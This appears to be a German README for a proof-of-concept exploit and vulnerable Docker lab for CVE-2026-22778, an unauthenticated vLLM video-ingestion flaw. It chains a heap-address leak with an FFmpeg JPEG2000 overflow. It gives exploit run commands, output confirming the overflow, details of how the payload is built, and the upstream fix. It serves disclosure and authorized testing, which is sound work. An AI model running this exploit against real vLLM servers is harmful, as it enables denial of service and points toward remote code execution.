Proof-of-Concept-Exploit für CVE-2026-22778, eine nicht authentifizierte RCE in vLLMs Videoverarbeitung, die die Offenlegung von Heap-Adressen und einen Heap-Pufferüberlauf im JPEG2000-Decoder von FFmpeg demonstriert. Enthält ein verwundbares Labor für autorisierte Tests.
Verwundbares Labor + Proof of Concept für CVE-2026-22778 (CVSS 9.8), eine unauthentifizierte Remote-Code-Execution-Kette im multimodalen Ingestionspfad von vLLM.
| CVE | CVE-2026-22778 |
| Advisory | GHSA-4r2x-xpjr-7cvv |
| Betroffen | vLLM >= 0.8.3, < 0.14.1 (Bereitstellungen, die Videomodelle ausliefern) |
| Behoben in | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Zugrunde liegender Fehler | CVE-2025-9951 — Heap-Pufferüberlauf im JPEG2000-Decoder von FFmpeg |
Zwei getrennte Fehler, die miteinander verkettet sind. Ein standardmäßiger vllm serve hat keine
Authentifizierung, daher sind beide vor der Authentifizierung über /v1/chat/completions und
/v1/invocations erreichbar.
Wenn ein Bild nicht geparst werden kann, löst Pillow eine Ausnahme aus, deren Meldung das
repr() des BytesIO-Objekts enthält, aus dem gelesen wurde:
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
vLLM wandelte Medienladefehler in einen HTTP-400 um und gab
exc.detail unverändert an den Client zurück
(api_server.py):
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- gibt die Adresse wörtlich preis
...
Diese einzelne Adresse reduziert die Heap-ASLR von ~32 Bit Entropie auf grob 3, was Stufe 2 ausnutzbar macht und nicht nur zu einem Absturz führt.
Eine video_url wird vom Server abgerufen und an OpenCV übergeben:
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (gebündelt in opencv-python-headless < 4.13)
vLLM hat opencv-python-headless >= 4.11.0 festgelegt, das FFmpeg 5.1.x mitliefert. Dessen
JPEG2000-Decoder wählt die Zielebene direkt aus der Kanaldefinitions-Box (cdef) der Datei
aus — libavcodec/jpeg2000dec.c, write_frame_8:
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* von der Komponente */
int h = tile->comp[compno].coord[1][1] - ...; /* nicht von der Ebene! */
plane ist angreiferkontrolliert, aber w/h stammen von der Komponente, die
dekodiert wird, und nichts prüft, ob eine in die andere passt. Ein cdef-Eintrag von
cn=0, asoc=2 sendet Komponente 0 — die Luma-Ebene in voller Auflösung — in
Ebene 1, die 2×2-unterabgetastete Chroma-Ebene.
Für den 150×64-Frame, den dieses PoC verwendet:
| Größe | |
|---|---|
| Y-Komponente (geschrieben) | 150 × 64 = 9.600 Bytes |
| U-Ebene (Ziel) | 75 × 32 = 2.400 Bytes |
| Überlauf | 7.200 Bytes über die Zuweisung hinaus |
FFmpeg weist jeder Ebene einen eigenen AVBuffer zu, sodass der Überlauf
durch benachbarte Heap-Blöcke läuft — einschließlich AVBuffer-Strukturen, die einen free-Funktionszeiger enthalten. In Kombination mit dem Leak aus Stufe 1 ist das Überschreiben dieses
Zeigers das, was die Korruption in Codeausführung verwandelt.
Dieses PoC stoppt bei der Speicherkorruption. Es beweist den Out-of-Bounds-Schreibzugriff, indem es den Serverprozess beendet. Heap-Grooming und das Überschreiben des Funktionszeigers sind bewusst nicht implementiert.
lab/app.py ist eine minimale Neuimplementierung des multimodalen Ingestionspfads von
vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend und der
Error-Handler vor dem Patch, jeweils mit der Upstream-Datei annotiert, die er spiegelt. Die
Modelllaufzeit ist ausgestubbt: Die Schwachstelle liegt vollständig in der Medienaufnahme,
die vor der Inferenz läuft und weder GPU noch Modellgewichte benötigt.
Alles auf dem Angriffspfad ist echt — derselbe Pillow-Aufruf, der die
Adresse leakt, und derselbe cv2.VideoCapture-Aufruf in ein ungepatchtes
opencv-python-headless==4.11.0.86 (FFmpeg 5.1.x, libavcodec 59.37.100).
docker compose up -d --build
python3 exploit.py
Optionen:
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # Payload über HTTP ausliefern
python3 exploit.py --write-payload evil.jp2 # nur die bösartige Datei schreiben
Der Exploit besteht rein aus der Standardbibliothek — keine Abhängigkeiten.
[*] Stage 1 -- heap address disclosure via PIL error message
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
ASLR bypassed: the heap base is now known to ~3 bits of entropy.
[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Payload: 203 bytes, 150x64 yuv420p JP2
cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
Request never completed: Remote end closed connection without response
Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.
Und die Serverseite:
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
Abbau:
docker compose down
203 Bytes, von Grund auf in build_payload() erstellt. Ein JP2-Container mit einem
minimalen JPEG2000-Codestream, der drei Komponenten mit 4:2:0-Unterabtastung
deklariert (sodass FFmpeg einen yuv420p-Frame zuweist), plus eine cdef-Box, die
sie neu zuordnet:
cn=0, typ=0, asoc=2 <-- Komponente 0 (volle Auflösung) in Ebene 1 (unterabgetastet)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
Die Koeffizientendaten sind leer. Der Decoder weist den Frame trotzdem aus dem
SIZ-Header zu und führt die Schreibschleife weiterhin aus, sodass keine echten Bilddaten benötigt werden.
vLLM 0.14.1, über drei PRs:
sanitize_message() hinzu, das at 0x<addr>> aus Objekt-Reprs entfernt, bevor
sie den Client erreichen.opencv-python-headless auf >= 4.13.0 an und übernimmt damit den FFmpeg-Fix für
CVE-2025-9951.Upstream-FFmpeg lehnt jetzt eine cdef-Zuordnung ab, die keine Permutation der
Kanäle ist, und leitet das Pixelformat aus den neu zugeordneten Indizes ab:
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
Wenn man die Festlegung des Labors auf opencv-python-headless>=4.13.0 umstellt, schlägt derselbe
Payload harmlos mit error during processing marker segment ff51 fehl.
Wenn Sie nicht aktualisieren können: Stellen Sie keine Videomodelle bereit, setzen Sie Authentifizierung
vor die API und beschränken Sie den Medienabruf mit --allowed-media-domains.